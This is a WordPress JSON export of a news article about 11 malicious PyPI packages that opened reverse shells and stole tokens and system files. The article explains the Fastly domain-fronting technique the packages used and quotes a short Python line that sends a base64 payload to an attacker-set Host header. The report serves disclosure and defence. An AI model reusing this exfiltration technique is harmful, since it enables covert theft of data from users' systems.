{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"Malicious libraries using the PyPI CDN to obscure communication channels have been identified in the PyPI catalog.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>The PyPI (Python Package Index) catalog has revealed 11 packages containing malicious code. Before the issues were detected, these packages were downloaded approximately 38,000 times. The identified malicious packages are notable for employing intricate methods to conceal connections to the attackers' servers.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 downloads), important-package (12897) \u2014 established a connection with an external server pretending to connect to pypi.python.org to provide shell access to the system (reverse shell) and used the program trevorc2 to hide the communication channel.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 used DNS as a communication channel to transmit system information (the first packet contained the hostname, working directory, internal and external IP, in the second \u2014 the username and hostname).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 detected the Discord service token in the system and sent it to an external host.\n<li class=\"l\"> trrfab (287) \u2014 sent the identifier, hostname, and contents of \/etc\/passwd, \/etc\/hosts, \/home to an external host.\n<li class=\"l\"> 10Cent10 (490) \u2014 established a reverse shell connection with an external host.\n<li class=\"l\"> yandex-yt (4183) \u2014 displayed a message about system compromise and redirected to a page with additional information on further actions, provided through nda.ya.ru (api.ya.cc).  <\/ul>\n<p>Particular attention should be paid to the method of contacting external hosts used in the packages importantpackage and important-package, which used the Fastly content delivery network to hide their activity applied in the PyPI directory. In fact, requests were sent to the pypi.python.org server (including specifying the name python.org in the SNI within the HTTPS request), but at the same time, the HTTP header 'Host' was set to the name of the server controlled by the attackers (sec.forward.io.global.prod.fastly.net). The content delivery network redirected such requests to the attackers' server, using the TLS connection parameters with pypi.python.org during data transmission.       <\/p>\n<p>The infrastructure of PyPI is supported by the Fastly content delivery network, which uses a transparent Varnish proxy for caching standard requests and processes TLS certificates at the CDN level, rather than at the end servers, to organize the forwarding of HTTPS requests through the proxy. Regardless of the target host, requests are sent to the proxy, which determines the required host based on the HTTP header 'Host', and <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/en\/domain\/\"   title=\"domain names\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">domain names<\/a> of hosts are tied to common IP addresses of CDN load balancers for all Fastly clients.      <\/p>\n<p>The attacker's server is also registered with the Fastly CDN, which offers free plans to anyone and even allows anonymous registration. Notably, when sending requests to the victim while creating a 'reverse shell', the same scheme is employed, but initiated from the hacker's host side. Interaction with the attacker's server appears as a legitimate session with the PyPI directory, encrypted using <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/en\/ssl-sertifikat\/\"   title=\"TLS certificate\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">TLS certificate<\/a> PyPI. This technique, known as 'domain fronting', was previously actively used to conceal the hostname while bypassing blocks by utilizing the ability provided by certain CDN networks to access via HTTPS, specifying a fake host in the SNI and actually transmitting the requested host name in the HTTP Host header within the TLS session.     <center><img decoding=\"async\" alt=\"Malicious libraries using the PyPI CDN to obscure communication channels have been identified in the PyPI catalog. \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>To hide malicious activity, the TrevorC2 package was additionally used, which allows the interaction with the server to resemble regular web navigation; for example, malicious requests were sent disguised as image downloads 'https:\/\/pypi.python.org\/images\/guid=' with the information encoded in the guid parameter.           url = 'https:\/\/pypi.python.org' + '\/images' + '?' + 'guid=' + b64_payload     r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})      <\/p>\n<p>In the pptest and ipboards packages, a different approach was used to conceal network activity, based on encoding useful information in DNS server requests. The malware sends information by performing DNS queries like 'nu4timjagq4fimbuhe.example.com', where the data transmitted to the control server is encoded in the subdomain name using base64 format. The attacker receives the message data by monitoring the DNS server for the domain example.com.<br \/>\n<br \/>Source: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/en\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/en\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Malicious libraries have been found in the PyPI catalog, utilizing the PyPI CDN to hide their communication channels | ProHoster","description":"The PyPI (Python Package Index) catalog has identified 11 packages containing malicious code. Before the issues were discovered, these packages had been downloaded approximately 38,000 times.","canonical_url":"https:\/\/prohoster.info\/en\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"en_US","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster","og:description":"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.","og:url":"https:\/\/prohoster.info\/en\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-11-20T07:36:57+00:00","article:modified_time":"2021-11-20T07:36:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102339","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-11-20 07:37:34","updated":"2026-02-08 21:02:57","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/102339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/comments?post=102339"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/102339\/revisions"}],"predecessor-version":[{"id":158143,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/posts\/102339\/revisions\/158143"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media\/102340"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/media?parent=102339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/categories?post=102339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/en\/wp-json\/wp\/v2\/tags?post=102339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}